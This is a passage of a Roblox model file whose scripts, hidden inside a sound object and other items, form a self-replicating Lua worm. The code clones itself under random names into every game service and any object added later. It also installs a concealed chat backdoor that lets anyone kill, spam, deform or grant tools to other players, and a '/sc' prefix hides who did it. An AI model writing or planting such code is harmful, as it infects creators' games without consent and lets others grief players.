game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX63">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">wuf7q</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX64">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">bx0dxhi</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX65">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX66</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX66">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>16.7940102</X>
							<Y>4.79895926</Y>
							<Z>-1.32017517</Z>
							<R00>0.550176978</R00>
							<R01>1.14337033e-010</R01>
							<R02>-0.835048079</R02>
							<R10>1.28434832e-010</R10>
							<R11>1</R11>
							<R12>2.21542826e-010</R12>
							<R20>0.835048079</R20>
							<R21>-2.29137001e-010</R21>
							<R22>0.550176978</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
